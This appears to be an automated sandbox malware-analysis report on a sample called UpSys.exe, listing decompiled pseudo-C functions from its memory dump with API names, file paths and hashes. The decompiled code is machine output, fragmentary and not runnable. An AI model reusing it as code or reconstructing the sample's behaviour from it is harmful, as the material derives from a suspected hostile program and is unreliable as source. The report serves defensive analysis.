                                                                                                                                                                                                        			E000000011400194C0(intOrPtr* __rax, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rsi, long long _a8, long long _a16, long long _a24) {
				long long _v40;
				long long _v56;
				void* _t35;
				void* _t38;
				void* _t46;
				void* _t56;
				intOrPtr* _t65;
				intOrPtr* _t68;
				intOrPtr* _t71;
				void* _t73;
				void* _t74;
				void* _t77;
				void* _t78;
				long long _t80;

				_t65 = __rdx;
				_t61 = __rcx;
				_t58 = __rbx;
				_t56 = __rax;
				_a16 = __rbx;
				_a24 = __rsi;
				_v40 = _t74 - 0x40;
				r12d = r8d;
				_t68 = __rdx;
				_t71 = __rcx;
				r13d = 0;
				if ((r13d & 0xffffff00 | __rcx != _t80) != r13d) goto 0x40019518;
				E0000000114001EAE4((r13d & 0xffffff00 | __rcx != _t80) - r13d, __rax);
				 *__rax = 0x16;
				_v56 = _t80;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, __rbx, __rcx, __rdx, __rcx, _t73, _t77);
				goto 0x400195e6;
				if ((r13d & 0xffffff00 | _t65 != _t80) != r13d) goto 0x4001954c;
				E0000000114001EAE4((r13d & 0xffffff00 | _t65 != _t80) - r13d, __rax);
				 *__rax = 0x16;
				_v56 = _t80;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, _t58, _t61, _t65, _t71, _t73, _t77);
				goto 0x400195e6;
				if ((r13d & 0xffffff00 |  *_t65 != r13w) != r13d) goto 0x4001957e;
				E0000000114001EAE4((r13d & 0xffffff00 |  *_t65 != r13w) - r13d, __rax);
				 *__rax = 0x16;
				_v56 = _t80;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, _t58, _t61, _t65, _t71, _t73, _t77);
				goto 0x400195e6;
				E000000011400245B4(0, _t46, _t58, _t61, _t65, _t71, _t73, _t77, _t78);
				_a8 = _t56;
				if (_t56 != _t80) goto 0x4001959f;
				E0000000114001EAE4(_t56 - _t80, _t56);
				 *_t56 = 0x18;
				goto 0x400195e6;
				if ( *_t71 != r13w) goto 0x400195c7;
				_t35 = E0000000114001EAE4( *_t71 - r13w, _t56);
				 *_t56 = 0x16;
				E00000001140024730(_t35);
				goto 0x400195e6;
				r8d = r12d;
				_t38 = E000000011400242B8(_t56, _t56, _t71, _t68, _t71, _t73, _t77, _t56); // executed
				return E0000000114001C47C(_t38, _t56);
			}

















                                                                                                                                                                                                        0x1400194c0
                                                                                                                                                                                                        0x1400194c0
                                                                                                                                                                                                        0x1400194c0
                                                                                                                                                                                                        0x1400194c0
                                                                                                                                                                                                        0x1400194c0
                                                                                                                                                                                                        0x1400194c5
                                                                                                                                                                                                        0x1400194d3
                                                                                                                                                                                                        0x1400194d8
                                                                                                                                                                                                        0x1400194db
                                                                                                                                                                                                        0x1400194de
                                                                                                                                                                                                        0x1400194e1
                                                                                                                                                                                                        0x1400194f0
                                                                                                                                                                                                        0x1400194f2
                                                                                                                                                                                                        0x1400194f7
                                                                                                                                                                                                        0x1400194fd
                                                                                                                                                                                                        0x140019502
                                                                                                                                                                                                        0x140019505
                                                                                                                                                                                                        0x14001950c
                                                                                                                                                                                                        0x140019513
                                                                                                                                                                                                        0x140019524
                                                                                                                                                                                                        0x140019526
                                                                                                                                                                                                        0x14001952b
                                                                                                                                                                                                        0x140019531
                                                                                                                                                                                                        0x140019536
                                                                                                                                                                                                        0x140019539
                                                                                                                                                                                                        0x140019540
                                                                                                                                                                                                        0x140019547
                                                                                                                                                                                                        0x140019559
                                                                                                                                                                                                        0x14001955b
                                                                                                                                                                                                        0x140019560
                                                                                                                                                                                                        0x140019566
                                                                                                                                                                                                        0x14001956b
                                                                                                                                                                                                        0x14001956e
                                                                                                                                                                                                        0x140019575
                                                                                                                                                                                                        0x14001957c
                                                                                                                                                                                                        0x14001957e
                                                                                                                                                                                                        0x140019586
                                                                                                                                                                                                        0x14001958e
                                                                                                                                                                                                        0x140019590
                                                                                                                                                                                                        0x140019595
                                                                                                                                                                                                        0x14001959d
                                                                                                                                                                                                        0x1400195a3
                                                                                                                                                                                                        0x1400195a5
                                                                                                                                                                                                        0x1400195aa
                                                                                                                                                                                                        0x1400195bc
                                                                                                                                                                                                        0x1400195c5
                                                                                                                                                                                                        0x1400195ca
                                                                                                                                                                                                        0x1400195d3
                                                                                                                                                                                                        0x1400195f9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$DecodePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2310398763-0
                                                                                                                                                                                                        • Opcode ID: da40fb9bdcc70ff14b72f3f3f69e821c25a6ca915e9e50183c1d28de1e1c552a
                                                                                                                                                                                                        • Instruction ID: 634b8ab4658020ce792b20aab7ba0839febe583dcbfc2721c68e0653b3386c4a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: da40fb9bdcc70ff14b72f3f3f69e821c25a6ca915e9e50183c1d28de1e1c552a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3631F67531468042F722AB37A902BDF6296BB887C8F404414BB469BBA9DF3FC450CB11
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140013BE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                                                                        • API String ID: 2574300362-3542929980
                                                                                                                                                                                                        • Opcode ID: 9807d7cef408993e19f1c10bda6daf870da05317779143351fc1eb44c26e05e3
                                                                                                                                                                                                        • Instruction ID: 1ea4a4dbd13be7d0926ad83e397a819c48b3c0d9259decd5d227eb0ae0ebf1e6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9807d7cef408993e19f1c10bda6daf870da05317779143351fc1eb44c26e05e3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 03E09236606F4182EE2A9F17E85439833A0FB4CB98F840625EB9D47365EF7CC269C744
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140087A80 Relevance: 6.1, APIs: 4, Instructions: 133processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 51%
                                                                                                                                                                                                        			E00000001140087A80(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long __rsi, void* __r8, void* __r10, void* __r11) {
				void* __rdi;
				void* _t58;
				void* _t67;
				void* _t83;
				void* _t87;
				void* _t91;
				void* _t93;
				intOrPtr* _t98;
				void* _t131;
				void* _t134;
				long long _t138;
				void* _t142;
				void* _t143;
				void* _t153;
				void* _t154;
				void* _t156;
				void* _t157;

				_t151 = __r11;
				_t150 = __r10;
				_t97 = __rbx;
				_t93 = __rax;
				_t87 = __eflags;
				 *((long long*)(_t142 + 8)) = __rbx;
				 *((long long*)(_t142 + 0x18)) = _t138;
				 *((long long*)(_t142 + 0x20)) = __rsi;
				E00000001140030CB0(0x58d0, __rax, __r10, __r11);
				_t143 = _t142 - __rax;
				asm("movaps [esp+0x58c0], xmm6");
				_t157 = __r8;
				_t134 = __rdx;
				E0000000114000FD50(__rax, __rbx, _t143 + 0x30);
				r8d = 0x200; // executed
				E0000000114000FDE0(_t87, _t97, _t143 + 0x8c0, __rdx, __rdx, _t138, 0x140058df0);
				 *((intOrPtr*)(_t143 + 0x50)) = 0x238;
				0x400166e0(); // executed
				_t154 = _t93; // executed
				Process32FirstW(_t156); // executed
				_t98 = _t143 + 0x8c0;
				_t148 = _t143 + 0x290;
				 *(_t143 + 0x20) = _t143 + 0x4a0;
				E0000000114001823C(_t98, _t143 + 0x7c, _t143 + 0x58f8, __rdx, _t143 + 0x6b0, _t143 + 0x290, _t150, _t151);
				E00000001140016E20(_t143 + 0x290, _t143 + 0x4a0);
				if ( *((long long*)(_t134 + 0x10)) == 0) goto 0x40087b6f;
				_t95 =  *((intOrPtr*)(_t134 + 8));
				E00000001140062190( *((intOrPtr*)(_t134 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t134 + 8)))));
				if (E00000001140016D8C( *((intOrPtr*)(_t134 + 8)), _t143 + 0x290, _t95) != 0) goto 0x40087b9c;
				_t58 = E000000011400107E0(0, _t143 + 0x8c8, _t143 + 0x290, _t131);
				r11d =  *((intOrPtr*)(_t143 + 0x58));
				 *_t98 = r11d;
				0x400166ec(); // executed
				if (_t58 != 0) goto 0x40087b04;
				FindCloseChangeNotification(_t153); // executed
				r12d = 2;
				_t31 = _t131 + 1; // 0x2
				r8d = _t31;
				r9d = r12d;
				E00000001140012B40(r12d, _t157, _t143 + 0x50, _t134, _t143 + 0x6b0, _t143 + 0x290);
				 *(_t143 + 0x20) =  *(_t143 + 0x20) & 0x00000000;
				r9d = 0;
				r8d = r12d;
				E00000001140011400(0, _t98 + 0x28, _t157, _t131, _t134, _t143 + 0x290, _t131);
				E00000001140007A40(0, 0, _t134);
				 *0x00000008 = 1;
				 *((intOrPtr*)(0)) = 1;
				_t91 = _t138 + 1;
				if (_t91 <= 0) goto 0x40087c75;
				_t35 = _t154 - 1; // -1
				_t83 = _t35;
				_t36 = _t143 + 0x8c0; // 0x8c2
				_t135 = _t36;
				 *(_t143 + 0x20) =  *(_t143 + 0x20) & 0x00000000;
				r9d = _t83;
				r8d = r12d;
				E00000001140011400(0, 0, _t157, _t131, _t36, _t143 + 0x290);
				E00000001140012D80(0, 0, 0, 0,  *((intOrPtr*)(_t36 + 8)), _t135, _t143 + 0x6b0);
				r9d = _t83;
				r8d = r12d;
				 *(_t143 + 0x20) = 1;
				E00000001140011400(0, 0, _t157, _t131, _t135, _t148);
				asm("pxor xmm6, xmm6");
				asm("repne dec eax");
				E00000001140007A40(0, 0, _t135);
				asm("movsd [ebx], xmm6");
				 *0x00000008 = 3;
				if (_t91 != 0) goto 0x40087c0e;
				_t43 = _t143 + 0x8c0; // 0x8c2
				r8d = 0x200;
				_t67 = E000000011400024F0(_t83 + 1, _t91, 0, _t43,  *((intOrPtr*)(_t36 + 8)), _t135 + 0x28, _t138 + 1 - 1, 0x14004e410);
				_t44 = _t143 + 0x30; // 0x32
				E00000001140002610(_t67, 0, _t44);
				asm("inc ecx");
				return 0;
			}




















                                                                                                                                                                                                        0x140087a80
                                                                                                                                                                                                        0x140087a80
                                                                                                                                                                                                        0x140087a80
                                                                                                                                                                                                        0x140087a80
                                                                                                                                                                                                        0x140087a80
                                                                                                                                                                                                        0x140087a80
                                                                                                                                                                                                        0x140087a85
                                                                                                                                                                                                        0x140087a8a
                                                                                                                                                                                                        0x140087a99
                                                                                                                                                                                                        0x140087a9e
                                                                                                                                                                                                        0x140087aa6
                                                                                                                                                                                                        0x140087aae
                                                                                                                                                                                                        0x140087ab1
                                                                                                                                                                                                        0x140087ab6
                                                                                                                                                                                                        0x140087acd
                                                                                                                                                                                                        0x140087ad3
                                                                                                                                                                                                        0x140087add
                                                                                                                                                                                                        0x140087ae5
                                                                                                                                                                                                        0x140087af2
                                                                                                                                                                                                        0x140087af5
                                                                                                                                                                                                        0x140087afc
                                                                                                                                                                                                        0x140087b0c
                                                                                                                                                                                                        0x140087b29
                                                                                                                                                                                                        0x140087b2e
                                                                                                                                                                                                        0x140087b43
                                                                                                                                                                                                        0x140087b4d
                                                                                                                                                                                                        0x140087b4f
                                                                                                                                                                                                        0x140087b56
                                                                                                                                                                                                        0x140087b6d
                                                                                                                                                                                                        0x140087b86
                                                                                                                                                                                                        0x140087b8b
                                                                                                                                                                                                        0x140087b92
                                                                                                                                                                                                        0x140087ba4
                                                                                                                                                                                                        0x140087bab
                                                                                                                                                                                                        0x140087bb4
                                                                                                                                                                                                        0x140087bba
                                                                                                                                                                                                        0x140087bc0
                                                                                                                                                                                                        0x140087bc0
                                                                                                                                                                                                        0x140087bc4
                                                                                                                                                                                                        0x140087bcd
                                                                                                                                                                                                        0x140087bd2
                                                                                                                                                                                                        0x140087bd8
                                                                                                                                                                                                        0x140087bdb
                                                                                                                                                                                                        0x140087be3
                                                                                                                                                                                                        0x140087bee
                                                                                                                                                                                                        0x140087bf3
                                                                                                                                                                                                        0x140087bfa
                                                                                                                                                                                                        0x140087bfc
                                                                                                                                                                                                        0x140087bff
                                                                                                                                                                                                        0x140087c01
                                                                                                                                                                                                        0x140087c01
                                                                                                                                                                                                        0x140087c06
                                                                                                                                                                                                        0x140087c06
                                                                                                                                                                                                        0x140087c0e
                                                                                                                                                                                                        0x140087c14
                                                                                                                                                                                                        0x140087c17
                                                                                                                                                                                                        0x140087c1f
                                                                                                                                                                                                        0x140087c2b
                                                                                                                                                                                                        0x140087c30
                                                                                                                                                                                                        0x140087c33
                                                                                                                                                                                                        0x140087c3b
                                                                                                                                                                                                        0x140087c43
                                                                                                                                                                                                        0x140087c4a
                                                                                                                                                                                                        0x140087c51
                                                                                                                                                                                                        0x140087c59
                                                                                                                                                                                                        0x140087c64
                                                                                                                                                                                                        0x140087c6c
                                                                                                                                                                                                        0x140087c73
                                                                                                                                                                                                        0x140087c7c
                                                                                                                                                                                                        0x140087c89
                                                                                                                                                                                                        0x140087c8f
                                                                                                                                                                                                        0x140087c94
                                                                                                                                                                                                        0x140087c99
                                                                                                                                                                                                        0x140087cb4
                                                                                                                                                                                                        0x140087cc1

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3213063512-0
                                                                                                                                                                                                        • Opcode ID: 9398beb01c686d1f1541ac7099d8d16c45f5b4d14adfc1f311fc365651e7beda
                                                                                                                                                                                                        • Instruction ID: 54809161b1b2df2b4b4a30369309641a0c438a080a8911427d068911b28dd790
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9398beb01c686d1f1541ac7099d8d16c45f5b4d14adfc1f311fc365651e7beda
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3E516E32304A8185EB25EB23E455BDAA3A1F7C87C8F408111FF8D47AAADF79C505CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001970C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E0000000114001970C(intOrPtr* __rax, long long __rbx, long long __rcx, long long __rdx, void* __r8, void* __r9, long long _a16, long long _a24, long long _a32) {
				long long _v72;
				void* __rsi;
				void* __rbp;
				void* _t22;

				_a32 = __rbx;
				_a16 = __rcx;
				_a24 = __rdx;
				if (__r8 == __rbx) goto 0x4001976f;
				if (__r9 == __rbx) goto 0x4001976f;
				if (__rcx != __rbx) goto 0x40019789;
				E0000000114001EAE4(__rcx - __rbx, __rax);
				_v72 = __rbx;
				 *__rax = 0x16;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, __rbx, __rdx, __rdx, _t22, __rdx, __r8);
				return 0;
			}







                                                                                                                                                                                                        0x14001970c
                                                                                                                                                                                                        0x140019728
                                                                                                                                                                                                        0x140019736
                                                                                                                                                                                                        0x140019744
                                                                                                                                                                                                        0x140019749
                                                                                                                                                                                                        0x14001974e
                                                                                                                                                                                                        0x140019750
                                                                                                                                                                                                        0x140019755
                                                                                                                                                                                                        0x14001975a
                                                                                                                                                                                                        0x140019760
                                                                                                                                                                                                        0x140019763
                                                                                                                                                                                                        0x14001976a
                                                                                                                                                                                                        0x140019788

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 2918714741-3875041276
                                                                                                                                                                                                        • Opcode ID: 01df23175138b502cffcdd092589188834036a8cec4e7a9d2a42a342ff64913e
                                                                                                                                                                                                        • Instruction ID: 9fb31aad5f3db038ad5ba7c6d035ca5d8f8d14fe293fed9fc8c9cbb9398f11a4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 01df23175138b502cffcdd092589188834036a8cec4e7a9d2a42a342ff64913e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4051183130858042FA269E6BA5007E966D1BB8DBF4F188724BF795BFF8CB36C4528700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002D59C Relevance: 4.6, APIs: 3, Instructions: 90COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 57%
                                                                                                                                                                                                        			E0000000114002D59C(intOrPtr* __rax, void* __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r9, void* __r11, long long _a8, signed int* _a40, intOrPtr _a48) {
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v40;
				signed int _v48;
				signed int _v56;
				intOrPtr _t48;
				intOrPtr _t62;
				void* _t79;
				signed int* _t86;
				void* _t95;

				_t95 = __r11;
				_t88 = __rbp;
				_t83 = __rdx;
				_t79 = __rcx;
				_t78 = __rbx;
				_a8 = __rsi;
				r10d = r8d;
				_t92 = __rcx;
				_v24 = _v24 & 0x00000000;
				_t86 = _a40;
				if (_t86 != 0) goto 0x4002d5ed;
				E0000000114001EAE4(_t86 != 0, __rax);
				 *__rax = 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, __rbx, __rcx, __rdx, _t86, __rbp, __rcx);
				goto 0x4002d6c7;
				 *_t86 =  *_t86 | 0xffffffff;
				if (_t79 != 0) goto 0x4002d624;
				E0000000114001EAE4(_t79 != 0, __rax);
				 *__rax = 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, _t78, _t79, _t83, _t86, _t88, _t92);
				goto 0x4002d6c7;
				if (_a48 == 0) goto 0x4002d667;
				if ((r9d & 0xfffffe7f) == 0) goto 0x4002d667;
				E0000000114001EAE4((r9d & 0xfffffe7f) == 0, __rax);
				 *__rax = 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, _t78, _t79, _t83, _t86, _t88, _t92);
				goto 0x4002d6c7;
				_v40 = 0;
				_v48 = r9d;
				_v56 = r10d;
				r9d = 0;
				_t48 = E0000000114002CD9C(0, 0, _t78,  &_v24, _t86, _t92, __r9, _t95); // executed
				_t62 = _t48;
				_v20 = _t48;
				if (_v24 == 0) goto 0x4002d6be;
				if (_t48 == 0) goto 0x4002d6b7;
				 *( *((intOrPtr*)(0x400c88c0 + ( *_t86 >> 5) * 8)) + 8 +  *_t86 * 0x58) =  *( *((intOrPtr*)(0x400c88c0 + ( *_t86 >> 5) * 8)) + 8 +  *_t86 * 0x58) & 0x000000fe;
				E000000011400221D8();
				if (_t62 == 0) goto 0x4002d6c5;
				 *_t86 =  *_t86 | 0xffffffff;
				return _t62;
			}













                                                                                                                                                                                                        0x14002d59c
                                                                                                                                                                                                        0x14002d59c
                                                                                                                                                                                                        0x14002d59c
                                                                                                                                                                                                        0x14002d59c
                                                                                                                                                                                                        0x14002d59c
                                                                                                                                                                                                        0x14002d59c
                                                                                                                                                                                                        0x14002d5a6
                                                                                                                                                                                                        0x14002d5a9
                                                                                                                                                                                                        0x14002d5ac
                                                                                                                                                                                                        0x14002d5b3
                                                                                                                                                                                                        0x14002d5c3
                                                                                                                                                                                                        0x14002d5c5
                                                                                                                                                                                                        0x14002d5cf
                                                                                                                                                                                                        0x14002d5d1
                                                                                                                                                                                                        0x14002d5d7
                                                                                                                                                                                                        0x14002d5da
                                                                                                                                                                                                        0x14002d5e1
                                                                                                                                                                                                        0x14002d5e8
                                                                                                                                                                                                        0x14002d5ed
                                                                                                                                                                                                        0x14002d5fa
                                                                                                                                                                                                        0x14002d5fc
                                                                                                                                                                                                        0x14002d606
                                                                                                                                                                                                        0x14002d608
                                                                                                                                                                                                        0x14002d60e
                                                                                                                                                                                                        0x14002d611
                                                                                                                                                                                                        0x14002d618
                                                                                                                                                                                                        0x14002d61f
                                                                                                                                                                                                        0x14002d62d
                                                                                                                                                                                                        0x14002d640
                                                                                                                                                                                                        0x14002d642
                                                                                                                                                                                                        0x14002d64c
                                                                                                                                                                                                        0x14002d64e
                                                                                                                                                                                                        0x14002d654
                                                                                                                                                                                                        0x14002d657
                                                                                                                                                                                                        0x14002d65e
                                                                                                                                                                                                        0x14002d665
                                                                                                                                                                                                        0x14002d667
                                                                                                                                                                                                        0x14002d66b
                                                                                                                                                                                                        0x14002d670
                                                                                                                                                                                                        0x14002d675
                                                                                                                                                                                                        0x14002d680
                                                                                                                                                                                                        0x14002d685
                                                                                                                                                                                                        0x14002d687
                                                                                                                                                                                                        0x14002d690
                                                                                                                                                                                                        0x14002d694
                                                                                                                                                                                                        0x14002d6b2
                                                                                                                                                                                                        0x14002d6b9
                                                                                                                                                                                                        0x14002d6c0
                                                                                                                                                                                                        0x14002d6c2
                                                                                                                                                                                                        0x14002d6d1

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$DecodePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2310398763-0
                                                                                                                                                                                                        • Opcode ID: a3068ebef11fd9f38bddebd1066b13448a9bbccb1f15a1accc5af1083a8b634e
                                                                                                                                                                                                        • Instruction ID: 5c20f04b43ac25ea6c80d8775c85a3133966dccee34c9b7c6cbf32d1d2aa10f5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a3068ebef11fd9f38bddebd1066b13448a9bbccb1f15a1accc5af1083a8b634e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4031963271468143F7769F2AA40579E7661B7C87D4F54822ABB898BAE5DF3DCC01CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140040EE0 Relevance: 4.5, APIs: 3, Instructions: 19fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
